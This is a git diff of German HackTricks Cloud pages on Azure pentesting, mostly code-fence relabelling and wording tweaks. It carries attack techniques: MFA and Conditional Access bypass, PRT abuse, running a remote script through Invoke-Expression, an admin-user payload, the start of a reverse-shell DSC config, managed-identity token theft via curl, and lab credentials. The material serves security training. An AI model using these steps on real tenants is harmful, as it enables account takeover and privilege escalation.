Optionen ausgewählt sind, ist es möglich, dies mit einem zufälligen User-Agent, der nicht mit diesen Plattformen in Verbindung steht, zu umgehen - **Client-Apps**: Optionen sind „Browser“, „Mobile Apps und Desktop-Clients“, „Exchange ActiveSync-Clients“ und „Andere Clients“ - Um die Anmeldung mit einer nicht ausgewählten Option zu umgehen - **Filter für Geräte**: Es ist möglich, eine Regel zu erstellen, die sich auf das verwendete Gerät bezieht @@ -39,7 +39,7 @@ Es ist möglich, eine Bedingung basierend auf der **Geräteplattform** (Android,
-Wenn Sie den Browser **einen unbekannten User-Agent** (wie `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) senden lassen, reicht das aus, um diese Bedingung nicht auszulösen.\ +Es reicht aus, den Browser **einen unbekannten User-Agent** (wie `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) senden zu lassen, um diese Bedingung nicht auszulösen.\ Sie können den User-Agent **manuell** in den Entwicklertools ändern:
@@ -85,7 +85,7 @@ Eine Azure MFA-Option besteht darin, **einen Anruf an die konfigurierte Telefonn Richtlinien verlangen oft ein konformes Gerät oder MFA, sodass ein **Angreifer ein konformes Gerät registrieren** könnte, ein **PRT**-Token erhalten und **auf diese Weise die MFA umgehen**. Beginnen Sie mit der Registrierung eines **konformen Geräts in Intune**, dann **holen Sie sich das PRT** mit: -```powershell +```bash $prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\.pfx -Credentials $credentials $prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep ist ein PowerShell-Skript, das versucht, **sich mit einem bereitgestellten Satz von Anmeldeinformationen bei verschiedenen Microsoft-Diensten anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzelfaktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird. +MFASweep ist ein PowerShell-Skript, das versucht, **sich bei verschiedenen Microsoft-Diensten mit einem bereitgestellten Satz von Anmeldeinformationen anzumelden und zu überprüfen, ob MFA aktiviert ist**. Je nachdem, wie die bedingten Zugriffsrichtlinien und andere Einstellungen zur Multi-Faktor-Authentifizierung konfiguriert sind, können einige Protokolle als Einzelfaktor verbleiben. Es gibt auch eine zusätzliche Überprüfung der ADFS-Konfigurationen und kann versuchen, sich beim lokalen ADFS-Server anzumelden, wenn dieser erkannt wird. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -142,19 +142,19 @@ Donkey token ist eine Sammlung von Funktionen, die Sicherheitsberatern helfen so **Testen Sie jedes Portal**, ob es möglich ist, sich **ohne MFA** anzumelden: -```powershell +```bash $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` Da das **Azure** **Portal** **nicht eingeschränkt** ist, ist es möglich, ein **Token vom Portal-Endpunkt zu sammeln, um auf jeden Dienst zuzugreifen, der durch die vorherige Ausführung erkannt wurde**. In diesem Fall wurde Sharepoint identifiziert, und ein Token zum Zugriff darauf wird angefordert: -```powershell +```bash $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` Angenommen, das Token hat die Berechtigung Sites.Read.All (von Sharepoint), selbst wenn Sie aufgrund von MFA nicht auf Sharepoint über das Web zugreifen können, ist es möglich, das Token zu verwenden, um auf die Dateien mit dem generierten Token zuzugreifen: -```powershell +```bash $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` ## Referenzen diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index fe3f35253..b7fe9c59d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -6,7 +6,7 @@ **Dynamische Gruppen** sind Gruppen, die eine Reihe von **Regeln** konfiguriert haben, und alle **Benutzer oder Geräte**, die den Regeln entsprechen, werden der Gruppe hinzugefügt. Jedes Mal, wenn ein **Attribut** eines Benutzers oder Geräts **geändert** wird, werden die dynamischen Regeln **erneut überprüft**. Und wenn eine **neue Regel** **erstellt** wird, werden alle Geräte und Benutzer **überprüft**. -Dynamischen Gruppen können **Azure RBAC-Rollen zugewiesen** werden, aber es ist **nicht möglich**, **AzureAD-Rollen** zu dynamischen Gruppen hinzuzufügen. +Dynamische Gruppen können **Azure RBAC-Rollen** zugewiesen werden, aber es ist **nicht möglich**, **AzureAD-Rollen** zu dynamischen Gruppen hinzuzufügen. Diese Funktion erfordert eine Azure AD Premium P1-Lizenz. @@ -14,7 +14,7 @@ Diese Funktion erfordert eine Azure AD Premium P1-Lizenz. Beachten Sie, dass standardmäßig jeder Benutzer Gäste in Azure AD einladen kann. Wenn also eine dynamische Gruppen-**regel** **Berechtigungen** für Benutzer basierend auf **Attributen** gewährt, die in einem neuen **Gast** **festgelegt** werden können, ist es möglich, einen Gast mit diesen Attributen zu **erstellen** und die **Berechtigungen zu eskalieren**. Es ist auch möglich, dass ein Gast sein eigenes Profil verwaltet und diese Attribute ändert. -Holen Sie sich Gruppen, die dynamische Mitgliedschaft erlauben: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** +Holen Sie sich Gruppen, die dynamische Mitgliedschaften erlauben: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`** ### Beispiel @@ -23,7 +23,7 @@ Holen Sie sich Gruppen, die dynamische Mitgliedschaft erlauben: **`az ad group l Für die E-Mail des Gastbenutzers, akzeptieren Sie die Einladung und überprüfen Sie die aktuellen Einstellungen **dieses Benutzers** in [https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView).\ Leider erlaubt die Seite nicht, die Attributwerte zu ändern, daher müssen wir die API verwenden: -```powershell +```bash # Login with the gust user az login --allow-no-subscriptions diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index d71005d80..dc9b9250c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -79,7 +79,7 @@ az vm extension set \ Sie könnten auch andere Payloads ausführen wie: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add` - Passwort zurücksetzen mit der VMAccess-Erweiterung -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -94,7 +94,7 @@ Es ist auch möglich, bekannte Erweiterungen auszunutzen, um Code auszuführen o VMAccess-Erweiterung Diese Erweiterung ermöglicht es, das Passwort (oder zu erstellen, wenn es nicht existiert) von Benutzern innerhalb von Windows-VMs zu ändern. -```powershell +```bash # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Name "myVMAccess" -Credential $cred @@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **willkürliche Befehle** in Windows-VMs über diese Erweiterung auszuführen: -```powershell +```bash # Content of revShell.ps1 Configuration RevShellConfig { Node localhost { diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 32d867997..3a1e4ce38 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -13,7 +13,7 @@ Sie finden die Liste der **Microsoft-Portale unter** [**https://msportals.io/**] Holen Sie sich das **access_token** von **IDENTITY_HEADER** und **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. Fragen Sie dann die Azure REST API an, um die **Abonnement-ID** und mehr zu erhalten. -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' @@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200) ``` ## Liste der Dienste -**Die Seiten dieses Abschnitts sind nach Azure-Diensten geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Funktionen er hat) sowie Anleitungen zur Enumeration jedes Dienstes.** +**Die Seiten dieses Abschnitts sind nach Azure-Diensten geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Fähigkeiten er hat) sowie Anleitungen zur Aufzählung jedes Dienstes.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 8649bee14..8c51a059e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -4,7 +4,7 @@ ## Grundinformationen -Azure Container Registry (ACR) ist ein verwalteter Dienst von Microsoft Azure zum **Speichern und Verwalten von Docker-Container-Images und anderen Artefakten**. Er bietet Funktionen wie integrierte Entwicklerwerkzeuge, Geo-Replikation, Sicherheitsmaßnahmen wie rollenbasierte Zugriffskontrolle und Bildscanning, automatisierte Builds, Webhooks und Trigger sowie Netzwerkisolierung. Er funktioniert mit beliebten Tools wie Docker CLI und Kubernetes und integriert sich gut mit anderen Azure-Diensten. +Azure Container Registry (ACR) ist ein verwalteter Dienst von Microsoft Azure zum **Speichern und Verwalten von Docker-Container-Images und anderen Artefakten**. Er bietet Funktionen wie integrierte Entwicklerwerkzeuge, Geo-Replikation, Sicherheitsmaßnahmen wie rollenbasierte Zugriffskontrolle und Bildscans, automatisierte Builds, Webhooks und Trigger sowie Netzwerkisolierung. Er funktioniert mit beliebten Tools wie Docker CLI und Kubernetes und integriert sich gut mit anderen Azure-Diensten. ### Auflisten @@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # List all ACRs in your subscription Get-AzContainerRegistry @@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" {{#endtab }} {{#endtabs }} -Anmelden und aus dem Register ziehen +Anmelden und aus dem Registry ziehen ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-services.md b/src/pentesting-cloud/azure-security/az-services/az-app-services.md index 3382d8bda..c40aba60f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-services.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-services.md @@ -17,9 +17,9 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service- Apps haben einige interessante Konfigurationen: -- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet erneut, wenn eine Anfrage eingeht. +- **Always On**: Stellt sicher, dass die App immer läuft. Wenn dies nicht aktiviert ist, wird die App nach 20 Minuten Inaktivität gestoppt und startet wieder, wenn eine Anfrage eingeht. - Dies ist entscheidend, wenn Sie einen Webjob haben, der kontinuierlich laufen muss, da der Webjob stoppt, wenn die App stoppt. -- **SSH**: Wenn aktiviert, kann sich ein Benutzer mit ausreichenden Berechtigungen über SSH mit der App verbinden. +- **SSH**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen über SSH eine Verbindung zur App herstellen. - **Debugging**: Wenn aktiviert, kann ein Benutzer mit ausreichenden Berechtigungen die App debuggen. Dies wird jedoch automatisch alle 48 Stunden deaktiviert. - **Web App + Datenbank**: Die Webkonsole ermöglicht es, eine App mit einer Datenbank zu erstellen. In diesem Fall ist es möglich, die zu verwendende Datenbank auszuwählen (SQLAzure, PostgreSQL, MySQL, MongoDB), und es ermöglicht auch die Erstellung eines Azure Cache für Redis. - Die URL, die die Anmeldeinformationen für die Datenbank und Redis enthält, wird in den **appsettings** gespeichert. @@ -28,18 +28,18 @@ Apps haben einige interessante Konfigurationen: ## Basisauthentifizierung -Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob **die Basisauthentifizierung aktiviert werden soll** (standardmäßig deaktiviert). Dies aktiviert im Wesentlichen **SCM (Source Control Manager) und FTP (File Transfer Protocol)** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann. +Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob **Basisauthentifizierung aktiviert werden soll** (standardmäßig deaktiviert). Dies aktiviert im Wesentlichen **SCM (Source Control Manager) und FTP (File Transfer Protocol)** für die Anwendung, sodass die Anwendung mit diesen Technologien bereitgestellt werden kann. Um auf die SCM- und FTP-Server zuzugreifen, sind ein **Benutzername und ein Passwort** erforderlich. Daher stellt Azure einige **APIs zur Verfügung, um die URLs** zu diesen Plattformen und die Anmeldeinformationen zu erhalten. -Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, sich zu verbinden und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten. +Der **FTP-Server hat keine besondere Magie**, mit der gültigen URL, dem Benutzernamen und dem Passwort ist es möglich, eine Verbindung herzustellen und Lese- und Schreibberechtigungen über die App-Umgebung zu erhalten. Das SCM -Es ist möglich, sich über einen Webbrowser unter `https:///BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen. +Es ist möglich, sich über einen Webbrowser mit `https:///BasicAuth` mit dem SCM zu verbinden und alle Dateien und Bereitstellungen dort zu überprüfen. ### Kudu -Kudu ist die Plattform, die **sowohl das SCM als auch eine Web- und API-Schnittstelle** zur Verwaltung eines App Service verwaltet und Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsfunktionen bereitstellt. Es ist über die SCM-URL zugänglich, die in der Webanwendung definiert ist. +Kudu ist die Plattform, die **sowohl das SCM als auch eine Web- und API-Schnittstelle** zur Verwaltung eines App Service verwaltet und Git-basierte Bereitstellungen, Remote-Debugging und Dateiverwaltungsmöglichkeiten bietet. Es ist über die SCM-URL zugänglich, die in der Webanwendung definiert ist. Beachten Sie, dass die von App Services und von Function Apps verwendeten Kudu-Versionen unterschiedlich sind, wobei die Version der Function Apps viel eingeschränkter ist. @@ -61,7 +61,7 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm - Die derzeit unterstützten Drittanbieterquellen sind **Github** und **Bitbucket**. - Sie können die Authentifizierungstokens erhalten, indem Sie `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` ausführen. - Azure wird standardmäßig eine **Github Action** einrichten, um den Code jedes Mal in den App Service bereitzustellen, wenn der Code aktualisiert wird. -- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort zu erhalten. +- Es ist auch möglich, ein **remote git repository** (mit Benutzername und Passwort) anzugeben, um den Code von dort abzurufen. - Sie können die Anmeldeinformationen für das Remote-Repo erhalten, indem Sie `az webapp deployment source show --name --resource-group ` oder `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` ausführen. - Es ist auch möglich, ein **Azure Repository** zu verwenden. - Es ist auch möglich, ein **lokales git repository** zu konfigurieren. @@ -72,22 +72,22 @@ App Services erlauben standardmäßig das Hochladen des Codes als Zip-Datei, erm Azure WebJobs sind **Hintergrundaufgaben, die in der Azure App Service-Umgebung ausgeführt werden**. Sie ermöglichen Entwicklern, Skripte oder Programme neben ihren Webanwendungen auszuführen, was es einfacher macht, asynchrone oder zeitintensive Operationen wie Datei-Processing, Datenverarbeitung oder geplante Aufgaben zu handhaben. Es gibt 2 Arten von Webjobs: -- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, wird auch der Webjob gestoppt. +- **Continuous**: Läuft ununterbrochen in einer Schleife und wird sofort nach der Erstellung ausgelöst. Es ist ideal für Aufgaben, die eine ständige Verarbeitung erfordern. Wenn die App jedoch stoppt, weil Always On deaktiviert ist und sie in den letzten 20 Minuten keine Anfrage erhalten hat, stoppt auch der Webjob. - **Triggered**: Läuft auf Abruf oder basierend auf einem Zeitplan. Es eignet sich am besten für periodische Aufgaben, wie Batch-Datenaktualisierungen oder Wartungsroutinen. -Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten zu **eskalieren**. +Webjobs sind aus der Perspektive eines Angreifers sehr interessant, da sie verwendet werden könnten, um **Code** in der Umgebung auszuführen und **Berechtigungen** auf die angehängten verwalteten Identitäten **zu eskalieren**. -Darüber hinaus ist es immer interessant, die **Protokolle** zu überprüfen, die von den Webjobs generiert werden, da sie **sensible Informationen** enthalten könnten. +Darüber hinaus ist es immer interessant, die von den Webjobs generierten **Protokolle** zu überprüfen, da sie **sensible Informationen** enthalten könnten. ## Slots -Azure App Service Slots werden verwendet, um **verschiedene Versionen der Anwendung** im selben App Service bereitzustellen. Dies ermöglicht es Entwicklern, neue Funktionen oder Änderungen in einer separaten Umgebung zu testen, bevor sie in die Produktionsumgebung bereitgestellt werden. +Azure App Service Slots werden verwendet, um **verschiedene Versionen der Anwendung** im selben App Service bereitzustellen. Dies ermöglicht Entwicklern, neue Funktionen oder Änderungen in einer separaten Umgebung zu testen, bevor sie in die Produktionsumgebung bereitgestellt werden. Darüber hinaus ist es möglich, einen **Prozentsatz des Traffics** an einen bestimmten Slot weiterzuleiten, was nützlich für A/B-Tests und für **Hintertürzwecke** ist. ## Azure Function Apps -Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie auch **die Function Apps dort aufgelistet sehen**. +Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** in der Webkonsole, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie in der Lage sein, **die Function Apps dort ebenfalls aufgelistet zu sehen**. Daher haben beide Dienste tatsächlich größtenteils die **gleichen Konfigurationen, Funktionen und Optionen im az cli**, obwohl sie sie möglicherweise etwas anders konfigurieren (wie Standardwerte von appsettings oder die Verwendung eines Speicherkontos in den Function Apps). @@ -180,7 +180,7 @@ az webapp hybrid-connections list --name --resource-group {{#endtab }} {{#tab name="Az Powershell" }} -```powershell +```bash # Get App Services and Function Apps Get-AzWebApp # Get only App Services diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index e38b0bed9..ec96e7038 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen [Aus den Dokumenten:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Der Application Proxy von Azure Active Directory bietet **sicheren Remote-Zugriff auf lokale Webanwendungen**. Nach einer **Einmalanmeldung bei Azure AD** können Benutzer sowohl **Cloud-** als auch **lokale Anwendungen** über eine **externe URL** oder ein internes Anwendungsportal aufrufen. +Der Application Proxy von Azure Active Directory bietet **sicheren Remote-Zugriff auf lokale Webanwendungen**. Nach einer **Einmalanmeldung bei Azure AD** können Benutzer sowohl **Cloud-** als auch **lokale Anwendungen** über eine **externe URL** oder ein internes Anwendungsportal zugreifen. So funktioniert es: @@ -19,8 +19,8 @@ So funktioniert es: 5. Der Connector sendet die Anfrage an die **lokale Anwendung**. 6. Die **Antwort** wird über den Connector und den Application Proxy-Dienst **an den Benutzer** gesendet. -## Aufzählung -```powershell +## Enumeration +```bash # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index 15f2c2f02..fed8e9336 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -1,8 +1,8 @@ -# Az - ARM-Vorlagen / Bereitstellungen +# Az - ARM Templates / Deployments {{#include ../../../banners/hacktricks-training.md}} -## Grundlegende Informationen +## Grundinformationen [Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Um **Infrastruktur als Code für Ihre Azure-Lösungen** zu implementieren, verwenden Sie Azure Resource Manager-Vorlagen (ARM-Vorlagen). Die Vorlage ist eine JavaScript Object Notation (**JSON**) Datei, die die **Infrastruktur** und Konfiguration für Ihr Projekt **definiert**. Die Vorlage verwendet eine deklarative Syntax, die es Ihnen ermöglicht, anzugeben, was Sie bereitstellen möchten, ohne die Reihenfolge der Programmierbefehle zu schreiben, um es zu erstellen. In der Vorlage geben Sie die bereitzustellenden Ressourcen und die Eigenschaften dieser Ressourcen an. @@ -13,7 +13,7 @@ Wenn Sie darauf zugreifen können, haben Sie **Informationen über Ressourcen**, ## Suche nach sensiblen Informationen Benutzer mit den Berechtigungen `Microsoft.Resources/deployments/read` und `Microsoft.Resources/subscriptions/resourceGroups/read` können **die Bereitstellungshistorie lesen**. -```powershell +```bash Get-AzResourceGroup Get-AzResourceGroupDeployment -ResourceGroupName diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 881802a30..58ebd402c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,11 +4,11 @@ ## Grundinformationen -Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren**, wie z.B. Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht. +Azure Automatisierungskonten sind cloudbasierte Dienste in Microsoft Azure, die helfen, **Aufgaben zu automatisieren** wie Ressourcenmanagement, Konfiguration und Updates in Azure und vor Ort. Sie bieten **Runbooks** (Skripte zur Automatisierung, die ausgeführt werden), **Zeitpläne** und **hybride Arbeitsgruppen**, um Automatisierungs-**Jobs** auszuführen, was Infrastruktur als Code (IaC) und Prozessautomatisierung für verbesserte Effizienz und Konsistenz beim Management von Cloud-Ressourcen ermöglicht. ### Einstellungen -- **Anmeldeinformationen**: Das Passwort ist nur innerhalb eines Runbooks im Automatisierungskonto zugänglich und wird verwendet, um **Benutzernamen und Passwörter sicher zu speichern**. +- **Anmeldeinformationen**: Das Passwort ist nur innerhalb eines Runbooks im Automatisierungskonto zugänglich, sie werden verwendet, um **Benutzernamen und Passwörter sicher zu speichern**. - **Variablen**: Werden verwendet, um **Konfigurationsdaten** zu speichern, die in Runbooks verwendet werden können. Dies könnte auch sensible Informationen wie API-Schlüssel enthalten. Wenn die Variable **verschlüsselt gespeichert** ist, ist sie nur innerhalb eines Runbooks im Automatisierungskonto verfügbar. - **Zertifikate**: Werden verwendet, um **Zertifikate** zu speichern, die in Runbooks verwendet werden können. - **Verbindungen**: Werden verwendet, um **Verbindungsinformationen** zu externen Diensten zu speichern. Dies könnte **sensible Informationen** enthalten. @@ -38,7 +38,7 @@ Es gibt 3 Hauptmethoden, um ein Runbook auszuführen: ### Quellcodeverwaltung -Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich anzugeben, dass die Runbooks des Repos in das Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich anzugeben, die **Änderungen vom Repo** in das Azure Automatisierungskonto zu **synchronisieren**. +Es ermöglicht das Importieren von Runbooks aus **Github, Azure Devops (Git) und Azure Devops (TFVC)**. Es ist möglich, anzugeben, dass die Runbooks des Repos im Azure Automatisierungskonto veröffentlicht werden sollen, und es ist auch möglich, anzugeben, dass die **Änderungen vom Repo** mit dem Azure Automatisierungskonto **synchronisiert** werden sollen. Wenn die Synchronisierung aktiviert ist, wird im **Github-Repository ein Webhook erstellt**, um die Synchronisierung jedes Mal auszulösen, wenn ein Push-Ereignis auftritt. Beispiel einer Webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` @@ -61,7 +61,7 @@ Es ist jedoch auch möglich, **eigene Umgebungen zu erstellen**, indem eine dies ### Hybride Arbeitsgruppen -In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie z.B. eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen außerhalb von Azures unmittelbarem Zugriff zu interagieren. +In Azure Automation ist die Standardausführungsumgebung für Runbooks die **Azure Sandbox**, eine cloudbasierte Plattform, die von Azure verwaltet wird und sich für Aufgaben mit Azure-Ressourcen eignet. Diese Sandbox hat jedoch Einschränkungen, wie eingeschränkten Zugriff auf lokale Ressourcen und Beschränkungen hinsichtlich der Ausführungszeit und Ressourcennutzung. Um diese Einschränkungen zu überwinden, werden hybride Arbeitsgruppen eingesetzt. Eine hybride Arbeitsgruppe besteht aus **einem oder mehreren Hybrid Runbook Workers, die auf Ihren eigenen Maschinen installiert sind**, sei es vor Ort, in anderen Cloud-Umgebungen oder Azure-VMs. Diese Konfiguration ermöglicht es Runbooks, direkt auf diesen Maschinen ausgeführt zu werden, was direkten Zugriff auf lokale Ressourcen, die Möglichkeit, längere und ressourcenintensive Aufgaben auszuführen, und die Flexibilität bietet, mit Umgebungen außerhalb von Azures unmittelbarem Zugriff zu interagieren. Wenn eine hybride Arbeitsgruppe erstellt wird, müssen die **Anmeldeinformationen** angegeben werden, die verwendet werden sollen. Es gibt 2 Optionen: @@ -70,7 +70,7 @@ Wenn eine hybride Arbeitsgruppe erstellt wird, müssen die **Anmeldeinformatione Wenn Sie also wählen können, ein **Runbook** in einem **Hybrid Worker** auszuführen, führen Sie **willkürliche Befehle** auf einer externen Maschine als **System** aus (schöne Pivot-Technik). -Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, kann das Runbook auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM vom Metadatenservice** zugreifen. +Darüber hinaus, wenn der hybride Worker in Azure mit anderen verwalteten Identitäten ausgeführt wird, hat das Runbook Zugriff auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM aus dem Metadatenservice**. > [!TIP] > Denken Sie daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**). @@ -78,7 +78,7 @@ Darüber hinaus, wenn der hybride Worker in 